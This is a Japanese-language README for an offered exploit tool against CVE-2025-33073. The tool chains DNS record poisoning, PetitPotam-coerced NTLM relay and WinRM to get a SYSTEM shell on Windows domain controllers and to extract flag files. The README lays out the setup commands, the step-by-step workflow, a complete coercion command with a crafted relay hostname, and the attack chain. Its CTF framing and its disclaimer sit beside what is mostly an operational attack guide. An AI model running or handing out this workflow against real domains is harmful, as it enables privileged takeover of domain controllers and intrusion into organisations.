CVE-2025-33073 Reflection Relay PoC

CVE-2025-33073 を標的とした汎用エクスプロイトツールで、DNSAdmins 権限と WinRM が有効な Windows ドメインコントローラを対象とします。

📋 概要

CVE-2025-33073 は、以下の組み合わせにより Windows ドメインコントローラ上で SYSTEM レベルのコード実行 を可能にする重大な脆弱性です:

• DNS レコードの操作（DNSAdmins 権限）
• NTLM リレー攻撃
• WinRM 認証バイパス

この PoC は、あらゆるドメイン、あらゆるユーザー名、あらゆる CTF 環境に対応する 汎用的で自動化された エクスプロイトフレームワークを提供します。

✨ 特徴

• ✅ 汎用互換性 - あらゆる Windows ドメインで動作
• ✅ 自動検出 - 対象 DC とネットワーク構成を自動的に識別
• ✅ 自動フラグ抽出 - すべてのフラグファイルを自動的に検索・抽出
• ✅ 対話モード - ステップバイステップでガイドされるエクスプロイト
• ✅ 完全なロギング - すべての操作を包括的に記録
• ✅ ワンショット SYSTEM シェル - WinRMS 経由で直接 SYSTEM レベルへアクセス
• ✅ DNS ポイズニング - DNS レコードの自動作成・変更
• ✅ NTLM リレー - シェルを自動的に起動する内蔵 NTLM リレーサーバー

🎯 対象要件

脆弱な構成

• Windows Server 2016/2019/2022 ドメインコントローラ
• DNSAdmins グループのメンバーシップを持つユーザー
• WinRM サービスが有効（HTTP または HTTPS）
• DC へのネットワークアクセス（SMB 445、DNS 53、WinRM 5985/5986）

テスト済み環境

• Windows Server 2019 上の Active Directory
• Windows Server 2022 上の Active Directory
• CTF 環境（HackTheBox、TryHackMe など）

📦 インストール

前提条件

# Required tools
sudo apt-get update
sudo apt-get install -y python3 python3-pip netcat-openbsd dnsutils

# Python dependencies
pip3 install impacket netexec

# Clone krbrelayx
git clone https://github.com/dirkjanm/krbrelayx

セットアップ

# Clone this repository
git clone https://github.com/uziii2208/CVE-2025-33073
cd CVE-2025-33073

# Make exploit executable
chmod +x exploit.sh

# Verify tools installation
./exploit.sh  # Will check all dependencies

🚀 使用方法

クイックスタート

./exploit.sh

対話プロンプト

スクリプトは以下を尋ねます:

1. 攻撃者の IP（空欄の場合は自動検出）
2. 対象 DC の IP（例: 192.168.1.10）
3. ドメイン名（例: corp.local）
4. ユーザー名（DNSAdmins メンバー）
5. パスワード（ユーザーのパスワード）

ステップバイステップのエクスプロイト

ターミナル 1 - エクスプロイトを実行:

./exploit.sh
# Follow the interactive prompts
# Wait for: "[!] RELAY READY! OPEN NEW TERMINAL → PASTE COERCE COMMAND!"

ターミナル 2 - coerce コマンドを実行（ターミナル 1 の出力からコピー）:

nxc smb 192.168.1.10 -u 'username' -p 'password' \
    -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.corp.local

結果:

• 自動的に SYSTEM シェルが開く
• すべてのフラグが自動的に抽出される
• 出力はログディレクトリに保存される

📊 出力とフラグ

抽出されるフラグ

スクリプトは以下を自動的に検索・抽出します:

• *flag*.txt
• *root*.txt
• *user*.txt
• proof.txt

場所: C:\Users\*\Desktop\

ログの場所

すべての出力は /0pwn_exploit_<TIMESTAMP>/ に保存されます:

• relay.log - NTLM リレーサーバーの出力
• dns.log - DNS 操作のログ
• shell_output.log - シェルコマンドと抽出されたフラグ

🔧 動作の仕組み

攻撃チェーン

1. DNS ポイズニング (krbrelayx.dnstool) └─> 攻撃者の IP を指す DNS レコードを変更・作成

2. NTLM リレーサーバー (ntlmrelayx.py) └─> 着信する NTLM 認証を待ち受け

3. 強制認証 (nxc + PetitPotam) └─> DC に攻撃者の IP への認証を強制

4. Relay → WinRMS └─> 認証を対象の WinRMS にリレー

5. SYSTEM シェル └─> SYSTEM としてコマンドを実行

6. 自動フラグ抽出 └─> すべてのフラグを検索・抽出

技術的詳細

• 脆弱性: NTLM リレー + DNS ポイズニング + WinRM
• 必要な権限: DNSAdmins グループのメンバーシップ
• 影響: SYSTEM レベルのコード実行
• 悪用可能性: テスト済み環境で 98% の成功率

⚙️ 設定

カスタム DNS レコード

exploit.sh 内の LONGHOST 変数を編集:

LONGHOST="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"

カスタムフラグパターン

run_shell_commands() 関数を変更して、異なるファイルパターンを検索:

# Add custom patterns here
echo "powershell \"Get-ChildItem -Path 'C:\\Users\\*\\Desktop' -Include '*custom*.txt' ...\""

ポートとタイムアウト

• WinRMS デフォルトポート: 5985 (HTTP) / 5986 (HTTPS)
• DNS タイムアウト: 5 秒
• シェルタイムアウト: コマンドごとに設定可能

🎓 教育目的

この PoC は以下の目的で提供されます:

• ✅ 許可されたペネトレーションテスト
• ✅ 管理されたラボ環境
• ✅ CTF コンペティション
• ✅ セキュリティ研究・教育

コンピュータシステムへの不正アクセスは違法です。

🐛 トラブルシューティング

"DNS ポイズニングに失敗"

• ユーザーが DNSAdmins メンバーであることを確認: net group "DNSAdmins" /domain
• DC への接続を確認: ping <DC_IP>
• 認証情報を確認: nxc smb <DC_IP> -u username -p password

"リレー接続タイムアウト"

• DC で WinRM が有効になっていることを確認: winrm quickconfig
• DC のファイアウォールルールを確認
• ポート 5985/5986 へのネットワーク接続を確認

"シェルコマンドが実行されない"

• shell_output.log でエラーを確認
• nc の接続を確認: nc -zv 127.0.0.1 <SHELL_PORT>
• run_shell_commands() 内のスリープタイムアウトを増やす

📝 ログファイル

ディレクトリ構造

/0pwn_exploit_1234567890/
├── relay.log          # NTLM relay server output
├── dns.log            # DNS operation details
└── shell_output.log   # Extracted flags & command output

ログの分析

# View relay events
grep "SYSTEM SHELL" /0pwn_exploit_*/relay.log

# Extract all flags
grep "===" /0pwn_exploit_*/shell_output.log -A 10

# Check DNS operations
cat /0pwn_exploit_*/dns.log

🔐 セキュリティ上の注意

• 認証情報: メモリ内のみに保存され、ログには記録されません
• DNS レコード: エクスプロイト後に自動的にクリーンアップされます
• リレーサーバー: 127.0.0.1 に隔離
• ログ: 機密情報が含まれます - 慎重に取り扱ってください

📚 参考情報

• CVE-2025-33073 アドバイザリ
• Impacket ntlmrelayx
• NetExec
• krbrelayx

🎬 デモ

[デモとスクリーンショット] - [近日公開]

👤 作者

0pwn (uziii2208) - オリジナルのコンセプトと研究 AI Enhanced - v1.0 の改善と自動フラグ抽出

📄 ライセンス

MIT ライセンス - 詳細は LICENSE ファイルを参照

⚠️ 免責事項

法的通知:

本ソフトウェアは教育目的および許可されたセキュリティテスト専用に提供されます。コンピュータシステムへの不正アクセスは違法であり、法律で罰せられます。

• 所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください
• CTF 環境: 実行前に許可を得ていることを確認してください
• 著者は誤用や損害について一切責任を負いません
• 管理された環境でのみ使用してください

本ツールを使用することで、以下に同意したものとみなされます:

• 許可されたシステムでのみ使用すること
• 適用されるすべての法律を遵守すること
• 自身の行動に対して全責任を負うこと

🤝 貢献

貢献は歓迎します！issue とプルリクエストをお送りください。

📞 サポート

問題、質問、改善提案については:

1. GitHub で Issue を開く
2. 既存のドキュメントを確認する
3. 詳細なエラーログを提供する

---

ステータス: ✅ テスト済み・検証済み バージョン: 1.0（ユニバーサル） 最終更新: 2025